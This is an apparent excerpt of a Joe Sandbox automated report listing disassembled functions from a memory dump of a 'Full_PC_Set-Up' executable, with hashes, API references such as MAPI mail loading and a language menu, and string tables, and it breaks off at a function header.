Opcode ID: 2c18db8562dc27f9dd5e47cab9cc86c753b21cdabdb3e2f2010c8ec0d441f6da
Instruction ID: 78cc267229a9934f7a0c41ae8758a03671ff39064db3f9f507bd85985cd2b842
Opcode Fuzzy Hash: 2c18db8562dc27f9dd5e47cab9cc86c753b21cdabdb3e2f2010c8ec0d441f6da
Instruction Fuzzy Hash: 5F718A6B915B390A564AFABA5C9B17E0002ABD0718386E71EFA57CF64BDE3C454700CA

Function 002C8FB0 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID:
API String ID: 3728558374-0
Opcode ID: 27fc45ff17cc58ba90b83dcd74205ee3b3866e05491765b0a13bd3ed7dd7ed42
Instruction ID: fcbaa65cf7156184da412ad8b76339d8fd160a30c90a2364c49387827afc61f6
Opcode Fuzzy Hash: 27fc45ff17cc58ba90b83dcd74205ee3b3866e05491765b0a13bd3ed7dd7ed42
Instruction Fuzzy Hash: 12A18471A101148FDB18DF68CC95FAA77B5BB88300F19869CE90D9B346DB34AE54CF90

Function 003601D0 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92ff14215d63615636da697852d3a46f15d07d1a400bb12763da1a334b446a04
Instruction ID: b9fdcb296934179a408c62498e52b56b34acdcce3706f3834ccb20222e34526f
Opcode Fuzzy Hash: 92ff14215d63615636da697852d3a46f15d07d1a400bb12763da1a334b446a04
Instruction Fuzzy Hash: FD91B13860022A9FC71AEF55C0A19BA73B2FF55311F218498DA829F79AD735DCC1DB40

Function 002F2E30 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID:
API String ID: 3728558374-0
Opcode ID: 500f963b3ab0508f308dff8a708c9712c145f070075317c3495cbf66a3b7c948
Instruction ID: 824a0ea98f65cb0af1e4f136f144ac21cea31dd597537e3051fe42b1016a3cb2
Opcode Fuzzy Hash: 500f963b3ab0508f308dff8a708c9712c145f070075317c3495cbf66a3b7c948
Instruction Fuzzy Hash: DD919475A102598FCB08DFA8C890BAEB7B5FF84340F148528E9069F349DB74EA15CB90

Function 00484130 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61653b4dc7a7d269bc80563a20311fee02d6717b6e5a518a3adb92f2584cfa85
Instruction ID: b81816be127caa7bcc66c12e42528a8f6b71adbbf7445ee378533b12f475a62a
Opcode Fuzzy Hash: 61653b4dc7a7d269bc80563a20311fee02d6717b6e5a518a3adb92f2584cfa85
Instruction Fuzzy Hash: 00918A719183419BC711EBA4D880A6FB7E9BFD5704F404D2EF58687210EB78EA44CB9B

Function 004016E0 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bbba25c1637abeb6ea767f493ba19ed0c6242342d6d73879b02cacb92cce958
Instruction ID: 8258cb52be4af6eef419dfa2c11a4401c5b6564386fd8aa16d7c8d529b8f3746
Opcode Fuzzy Hash: 3bbba25c1637abeb6ea767f493ba19ed0c6242342d6d73879b02cacb92cce958
Instruction Fuzzy Hash: C6514C376083914BC301AA3D944027AFFE1EBD6321F2C8ABFD8D497792D179C9468791

Function 0038D7B5 Relevance: .2, Instructions: 153COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c0a5a065454e6aef1510d621c7555c1b56319cae9ee52fd196e7c356236ebbe
Instruction ID: b75e3691dfbcc77955456a61bf7d5266e550cbba2b3e19a87fb2e1cf8bb62b80
Opcode Fuzzy Hash: 7c0a5a065454e6aef1510d621c7555c1b56319cae9ee52fd196e7c356236ebbe
Instruction Fuzzy Hash: 25316D29955B380A624EFAFA7CD727E0002FB91704395B31EE653CF14BDE68098701C9

Function 002DA0C0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f861656c7e58582ed96f6f086104291ec790af464a86159a427c5c90407ba6a8
Instruction ID: 5f4275b486c712108131456dfeb9068b4de9ca686c3bb1c663e925291e9970c0
Opcode Fuzzy Hash: f861656c7e58582ed96f6f086104291ec790af464a86159a427c5c90407ba6a8
Instruction Fuzzy Hash: C0216D338B94F701EB594E319C146722BD3DBC6206F6F41B9CA8497646D63ED423E221

Function 002D2DD0 Relevance: 77.4, APIs: 39, Strings: 5, Instructions: 400
librarywindowloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(MAPI32.DLL), ref: 002D2E24
MessageBoxW.USER32(00000000,Failed to load MAPI32.DLL.,CrashRep,00000010), ref: 002D2E41
GetProcAddress.KERNEL32(00000000,MAPISendMail), ref: 002D2E64
MessageBoxW.USER32(00000000,Invalid MAPI32.DLL, cannot find MAPISendMail.,CrashRep,00000010), ref: 002D2E7F
FreeLibrary.KERNEL32(00000000), ref: 002D2E86

Strings

CrashRep, xrefs: 002D2E36, 002D2E74
MAPISendMail, xrefs: 002D2E5E
Invalid MAPI32.DLL, cannot find MAPISendMail., xrefs: 002D2E79
MAPI32.DLL, xrefs: 002D2E1F
Failed to load MAPI32.DLL., xrefs: 002D2E3B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: LibraryMessage$AddressFreeLoadProc
String ID: CrashRep$Failed to load MAPI32.DLL.$Invalid MAPI32.DLL, cannot find MAPISendMail.$MAPI32.DLL$MAPISendMail
API String ID: 1567801371-590059422
Opcode ID: 64f9ca2127856b19b418b379a9c02396862817a87ef021498e109e34b15c77fb
Instruction ID: e7c49187ea1f75e79a7cadbea2bc8e7c4a69221d0270575b1c487717a16a6444
Opcode Fuzzy Hash: 64f9ca2127856b19b418b379a9c02396862817a87ef021498e109e34b15c77fb
Instruction Fuzzy Hash: 47E1B571604341ABE321DF64DC46F9BB7E8AF84700F14492EFA98DA2C1E7B19914CB57

Function 0029A900 Relevance: 52.7, APIs: 19, Strings: 11, Instructions: 230
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePopupMenu.USER32 ref: 0029A93E
AppendMenuW.USER32(00000000,00000000,00000009,English), ref: 0029A962
AppendMenuW.USER32(00000000,00000000,0000000A,0053D67C), ref: 0029A972
AppendMenuW.USER32(00000000,00000000,00000016,Portugus), ref: 0029A982
AppendMenuW.USER32(00000000,00000000,00000010,Italiano), ref: 0029A992
AppendMenuW.USER32(00000000,00000000,00000007,Deutsch), ref: 0029A9A2
AppendMenuW.USER32(00000000,00000000,0000000C,Franais), ref: 0029A9B2
AppendMenuW.USER32(00000000,00000000,00000011,0053D6D8), ref: 0029A9C2
AppendMenuW.USER32(00000000,00000000,00000013,Nederlands), ref: 0029A9D2
AppendMenuW.USER32(00000000,00000000,0000001F,0053D6F8), ref: 0029A9E2
AppendMenuW.USER32(00000000,00000000,00000804,0053D708), ref: 0029A9F5
AppendMenuW.USER32(00000000,00000000,00000404,0053D714), ref: 0029AA08
AppendMenuW.USER32(00000000,00000000,0000000E,Magyarorszg), ref: 0029AA18
AppendMenuW.USER32(00000000,00000000,00000015,Polski), ref: 0029AA28
AppendMenuW.USER32(00000000,00000000,00000019,0053D74C), ref: 0029AA38
AppendMenuW.USER32(00000000,00000800,00000000,00000000), ref: 0029AA48
AppendMenuW.USER32(00000000,00000000,0000007F,+Add Your Lang.), ref: 0029AA58

Part of subcall function 003A4250: IsWindow.USER32(?), ref: 003A4264
Part of subcall function 003A4250: GetWindowRect.USER32(?,?), ref: 003A4274

TrackPopupMenu.USER32(?,00000148,?,?,00000000,?,00000000), ref: 0029AA88
ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 0029AACB

Strings

Italiano, xrefs: 0029A988
Portugus, xrefs: 0029A978
Nederlands, xrefs: 0029A9C8
open, xrefs: 0029AAC4
English, xrefs: 0029A958
Magyarorszg, xrefs: 0029AA0E
nSelectLang, xrefs: 0029AB30
Polski, xrefs: 0029AA1E
+Add Your Lang., xrefs: 0029AA4E
Franais, xrefs: 0029A9A8
Deutsch, xrefs: 0029A998

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Menu$Append$PopupWindow$CreateExecuteRectShellTrack
String ID: +Add Your Lang.$Deutsch$English$Franais$Italiano$Magyarorszg$Nederlands$Polski$Portugus$nSelectLang$open
API String ID: 2458615985-430729304
Opcode ID: 520a519934a8c5ad5d41b7167b5b11c5d83fe766bc8388c2a093d6c678d71fdd
Instruction ID: 9f6ad3604cf3ac2a61a822d961e6e517e978c0eed5d7bb87e1c904d3eff422cf
Opcode Fuzzy Hash: 520a519934a8c5ad5d41b7167b5b11c5d83fe766bc8388c2a093d6c678d71fdd
Instruction Fuzzy Hash: 55716271794301ABD254DF68DC82F5BBBE4BB88B10F104A1DF655AB2C1D7B4E8048BA6

Function 004B6B70 Relevance: 42.1, APIs: 8, Strings: 16, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 004B6BA1
_strlen.LIBCMT ref: 004B6BC5
_strlen.LIBCMT ref: 004B6BE9
_strlen.LIBCMT ref: 004B6C0D
_strlen.LIBCMT ref: 004B6C31
_strlen.LIBCMT ref: 004B6C52
_strlen.LIBCMT ref: 004B6C73
_strlen.LIBCMT ref: 004B6C94

Strings

ATA Bus, xrefs: 004B6C9D
RAID Disk Device, xrefs: 004B6C4D
Ssa Disk Device, xrefs: 004B6BE4
Fibre Disk Device, xrefs: 004B6C08
SCSI Disk Device, xrefs: 004B6BAA
SSA Disk Device, xrefs: 004B6BF2
ATAPI Bus, xrefs: 004B6C7C
Ata Bus, xrefs: 004B6C8F
Atapi Bus, xrefs: 004B6C6E
1394 Disk Device, xrefs: 004B6BC0
USB Device, xrefs: 004B6C2C
1394 Disk Device, xrefs: 004B6BCE
Scsi Disk Device, xrefs: 004B6B9C
RAID Disk Device, xrefs: 004B6C5B
USB Device, xrefs: 004B6C3A
FIBER Disk Device, xrefs: 004B6C16

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _strlen
String ID: 1394 Disk Device$1394 Disk Device$ATA Bus$ATAPI Bus$Ata Bus$Atapi Bus$FIBER Disk Device$Fibre Disk Device$RAID Disk Device$RAID Disk Device$SCSI Disk Device$SSA Disk Device$Scsi Disk Device$Ssa Disk Device$USB Device$USB Device
API String ID: 4218353326-446847470
Opcode ID: be08e680220c95fd13d0b85ecfb842e5c8697be66bb4f9ce3031db53da0f5475
Instruction ID: 54dc70506ca7cc9c4322cf192a1973af83cc37ef3a26599a42ce7ebb50a7f89f
Opcode Fuzzy Hash: be08e680220c95fd13d0b85ecfb842e5c8697be66bb4f9ce3031db53da0f5475
Instruction Fuzzy Hash: C02178F6D40704BBEA01BA54FC03CAD3B3DAB54B18F068065FE155A242F736AA1567A3

Function 002D0560 Relevance: 40.9, APIs: 27, Instructions: 392
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002D7100: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D710F
Part of subcall function 002D7100: SendMessageW.USER32(?,00001009,00000000,00000000), ref: 002D7172

_wcsrchr.LIBCMT ref: 002D05DA
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D0604
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D0622
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D0645
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D065F
InvalidateRect.USER32(?,?,00000001,?,00000001,00000000,?), ref: 002D0682
UpdateWindow.USER32(?), ref: 002D068C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D06AA
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D06C8
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D06EB
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D0705
InvalidateRect.USER32(?,?,00000001,?,00000002,00000000,?), ref: 002D0728
UpdateWindow.USER32(?), ref: 002D0732
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D0750
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D076E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D0791
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D07AB
InvalidateRect.USER32(?,?,00000001,?,00000003,00000000,?), ref: 002D07CE
UpdateWindow.USER32(?), ref: 002D07D8
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D07F6
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D0814
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D0851
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D0837

Part of subcall function 002D6AB0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D6AD8
Part of subcall function 002D6AB0: SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D6AFA

InvalidateRect.USER32(?,?,00000001,?,00000004,00000000,?), ref: 002D0874
UpdateWindow.USER32(?), ref: 002D087E
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D08E8
SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D0906

Part of subcall function 002D71F0: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 002D7216
Part of subcall function 002D71F0: SendMessageW.USER32(?,00001200,00000000,00000000), ref: 002D7234

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$InvalidateRectUpdateWindow$_wcsrchr
String ID:
API String ID: 1785150780-0
Opcode ID: d620bf9d96def8205dd9bbce472c22ebbb98043502d8d8eea9e794c333f048a7
Instruction ID: 04999cfb473f56ebc602448ad998e5b679c608b7b1f6e9e029c0b9749827b005
Opcode Fuzzy Hash: d620bf9d96def8205dd9bbce472c22ebbb98043502d8d8eea9e794c333f048a7
Instruction Fuzzy Hash: 93C1B5713503006BE715EF64CCC6FAA7398AB88B40F254669FA55EF3D2C6B0EC518B94

Function 003A6BB0 Relevance: 39.2, APIs: 26, Instructions: 236windowCOMMON

